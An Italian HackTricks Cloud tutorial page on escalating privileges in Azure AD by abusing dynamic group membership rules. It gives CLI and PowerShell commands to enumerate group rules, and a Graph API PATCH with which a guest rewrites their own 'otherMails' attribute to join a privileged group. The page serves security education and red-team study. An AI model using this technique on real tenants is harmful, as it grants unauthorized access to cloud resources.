Az - Gruppi dinamici Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di base
I gruppi dinamici sono gruppi a cui è configurato un insieme di regole e tutti gli utenti o dispositivi che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un attributo di un utente o dispositivo viene modificato, le regole dinamiche vengono ricontrollate. E quando viene creata una nuova regola, tutti i dispositivi e gli utenti vengono verificati.
I gruppi dinamici possono avere Azure RBAC roles assigned a loro, ma non è possibile aggiungere AzureAD roles ai gruppi dinamici.
Questa funzionalità richiede una licenza Azure AD Premium P1.
Privesc
Nota che per impostazione predefinita qualsiasi utente può invitare guest in Azure AD, quindi, se una regola di un gruppo dinamico concede permessi agli utenti basandosi su attributi che possono essere impostati in un nuovo guest, è possibile creare un guest con questi attributi e escalare i privilegi. È anche possibile che un guest gestisca il proprio profilo e modifichi questi attributi.
Ottieni i gruppi che permettono la membership dinamica: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Enumerazione Gruppi Dinamici
Ottieni le regole di un gruppo dinamico:
Con Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Con PowerShell e Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Esempio
- Esempio di regola:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Descrizione della regola: Qualsiasi utente Guest con un’email secondaria con la stringa ‘security’ verrà aggiunto al gruppo
Per l’email dell’utente Guest, accetta l’invito e verifica le impostazioni correnti di quel utente in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Sfortunatamente la pagina non permette di modificare i valori degli attributi, quindi dobbiamo usare l’API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

